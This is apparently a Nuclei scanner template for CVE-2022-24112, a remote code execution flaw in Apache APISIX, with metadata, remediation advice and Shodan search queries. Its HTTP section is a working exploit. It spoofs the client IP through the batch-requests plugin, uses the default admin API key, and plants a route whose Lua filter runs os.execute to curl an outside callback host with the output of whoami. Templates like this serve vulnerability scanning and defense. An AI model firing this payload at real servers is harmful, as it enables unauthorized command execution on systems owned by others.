Apache APISIX - Remote Code Execution

id: CVE-2022-24112

info:
  name: Apache APISIX - Remote Code Execution
  author: Mr-xn
  severity: critical
  description: A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. An attacker can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX's data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: Upgrade to 2.10.4 or 2.12.1. Or, explicitly configure the enabled plugins in `conf/config.yaml` and ensure `batch-requests` is disabled. (Or just comment out `batch-requests` in `conf/config-default.yaml`).
  reference:
    - https://www.openwall.com/lists/oss-security/2022/02/11/3
    - https://twitter.com/sirifu4k1/status/1496043663704858625
    - https://apisix.apache.org/zh/docs/apisix/plugins/batch-requests
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24112
    - http://www.openwall.com/lists/oss-security/2022/02/11/3
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-24112
    cwe-id: CWE-290
    epss-score: 0.97261
    epss-percentile: 0.99825
    cpe: cpe:2.3:a:apache:apisix:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: apisix
    shodan-query: title:"Apache APISIX Dashboard"
    fofa-query: title="Apache APISIX Dashboard"
  tags: cve,cve2022,apache,rce,apisix,oast,kev,intrusive

http:
  - raw:
      - |
        POST /apisix/batch-requests HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9

        {
          "headers":{
            "X-Real-IP":"127.0.0.1",
            "Content-Type":"application/json"
          },
          "timeout":1500,
          "pipeline":[
            {
              "method":"PUT",
              "path":"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1",
              "body":"{\r\n \"name\": \"test\", \"method\": [\"GET\"],\r\n \"uri\": \"/api/{{randstr}}\",\r\n \"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}}\r\n,\r\n\"filter_func\": \"function(vars) os.execute('curl {{interactsh-url}}/`whoami`'); return true end\"}"
            }
          ]
        }
      - |
        GET /api/{{randstr}} HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - '"reason":"OK"'
          - '"status":200'
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - http

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - GET \/([a-z-]+) HTTP
        part: interactsh_request
# digest: 4b0a004830460221008ec50579ecb1d58ca336d07a17961f227be3a77e752f3700fee6696537ecfaa7022100bbacb0066289e35e4ed902e5b09dfe5935e1cf61edc477f729c80d7926a6117a:922c64590222798bb761d5b6d8e72950